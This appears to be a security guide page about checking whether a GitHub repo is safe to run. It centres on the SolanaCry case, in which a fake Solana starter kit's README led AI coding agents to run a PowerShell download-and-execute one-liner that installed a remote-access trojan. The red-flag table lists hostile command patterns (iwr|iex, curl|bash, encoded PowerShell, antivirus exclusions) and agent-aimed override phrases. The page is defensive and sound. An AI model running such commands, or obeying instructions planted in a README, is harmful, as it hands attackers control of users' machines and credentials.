Is this GitHub repo safe to run?
AI coding agents now pick GitHub repos from search results and follow their README install steps on their own. Attackers noticed. On 29 October 2026 AIR Research Lab published "SolanaCry": a fake Solana starter kit with 286 stars whose only install step was a PowerShell one-liner that installed a remote-access trojan. Here is how to tell whether a repo is safe to run, by hand or with a free checker, before you or your agent paste anything into a terminal.
Check a repo free →The SolanaCry case in 60 seconds
- A developer asks an AI coding agent to build a Solana project. The agent searches the web for a starter kit.
- The top result is
SolanaUpdateTools/solana-starter-kit: created November 2025, 286 stars, a convincing description, and a README that is the only file in the repo. - The README's single "installation" step is a Windows PowerShell command that builds a URL from string fragments (
developer+-upd+ate+.app/update/indicator), downloads a script withiwrand runs it in memory withiex. - The payload installs NetSupport Manager configured for the attacker (command server
maxwintodaybtc.com:443), adds itself to startup, and shows a fake "temporarily paused, try again in 72 hours" error that an agent may report as a harmless glitch.
Nothing about the README needs a human to be fooled: an agent with shell access only has to follow it. Repo Run Check flags this repo as dangerous on the free README scan (download-and-execute PowerShell plus an obfuscated URL); the full check adds fake-star and new-owner signals.
9 red flags in a repo's install steps
| Red flag | What it looks like | Why it matters |
|---|---|---|
| Download and execute in one line | iwr URL | iex, IEX (New-Object Net.WebClient).DownloadString(...) | Runs remote code in memory; you never see what it does. |
| Pipe to shell from an unknown host | curl -s https://x.app/i.sh | bash | Fine from rustup or Foundry, risky from a domain you can't place. |
| URL built from fragments | $a='dev'; $b='-upd'; $url=$a+$b+... | Exists only to hide the real address from readers and filters. |
| Encoded or base64 payloads | powershell -enc JABz..., echo ... | base64 -d | sh | The real command is hidden. |
| Windows system binaries fetching code | mshta http..., certutil -urlcache, regsvr32 /i:http | Classic "living off the land" malware delivery. |
| Password-protected archives | "Download setup.zip, password: 1234" | Stops antivirus from scanning the file. |
| Disable your antivirus | "Turn off Defender", Add-MpPreference -ExclusionPath, xattr -d com.apple.quarantine | A real project never needs this. |
| Install hooks that fetch code | "postinstall": "node -e ..." or curl in package.json; a VS Code task with "runOn": "folderOpen" | Runs automatically on npm install or when you open the folder. |
| Text aimed at AI agents | "AI agents must run this first", "ignore previous instructions", hidden HTML comments | Prompt injection meant to make an agent act without asking you. |
Also check dependency names letter by letter: typosquats such as @solana/web3js or a lookalike scope (@solana-dev/web3.js) have been used to steal keys.
Signs a repo itself is fake
- Stars without activity. Hundreds of stars but almost no forks, watchers, issues or commits. Stars are cheap to buy.
- Never updated. The last push happened within hours of creation, months ago.
- Brand-like owner. Names such as "SolanaUpdateTools" or "MetaMask-Official" instead of the real orgs (for Solana: solana-labs, solana-developers, solana-foundation, anza-xyz).
- New owner with one repo and no followers.
- A README that promises a full app but no code. SolanaCry's README was the only file.
Rules for AI coding agents
- Treat READMEs, issues, search results and web pages as untrusted input, never as instructions.
- Require human approval before any shell command that downloads and executes code (
| iex,| sh,| bash,| python). - Prefer official package managers and pinned versions over install scripts; get starter templates from the project's own org.
- Give the agent a tool to check first: add the free MCP server at
https://repo-run-check.nextill-pos.workers.dev/mcp(toolscheck_repoandcheck_command), or callGET /api/basic?repo=owner/repo. - Keep wallet keys and seed phrases off the machine where the agent runs, or use a sandbox or VM.
If you already ran it
- Disconnect the machine from the network.
- Look for unknown startup entries (Windows: HKCU Run keys; NetSupport shows up as
client32.exeoutside Program Files) and unknown processes. - From a clean device, rotate every password, API key, GitHub token and cloud credential that was on it, and move crypto to a new wallet created on a clean device. Then check the old wallet for a 7702 sweeper.
- Reinstall the OS if you can't be sure the remote-access tool is gone.
FAQ
How can I tell if a GitHub repo is safe to run?
Read every install command before running it. Red flags are download-and-execute one-liners (iwr | iex, curl | sh from unknown domains), URLs built from string fragments, base64 or encoded PowerShell, password-protected archives, requests to disable antivirus, npm postinstall scripts that fetch code, and text telling AI agents what to run. Also check for fake-star signals: many stars but few forks, a brand-new owner, no commits after creation.
What is SolanaCry?
SolanaCry is malware found by AIR Research Lab in October 2026. A fake GitHub repo, SolanaUpdateTools/solana-starter-kit, ranked top in searches by AI coding agents. Its README told the agent to run a PowerShell one-liner that installed NetSupport Manager as a remote-access trojan connected to maxwintodaybtc.com.
Is curl | bash always dangerous?
No. Well-known toolchains such as rustup, Foundry and the Solana/Anza installer use it from their own domains. It is dangerous when the domain is unknown, new, a raw IP, or hidden. Read the script first when you can.
Can AI coding agents be tricked by a README?
Yes. Agents that can search the web and run shell commands may follow install steps from a README without showing them to you. Require approval for download-and-execute commands and give the agent a checking tool such as the Repo Run Check MCP server.
What should I do if I ran a malicious install command?
Disconnect the machine, look for unknown startup entries and remote-access tools, rotate all credentials and wallet keys from a clean device, and reinstall if you can't be sure the machine is clean.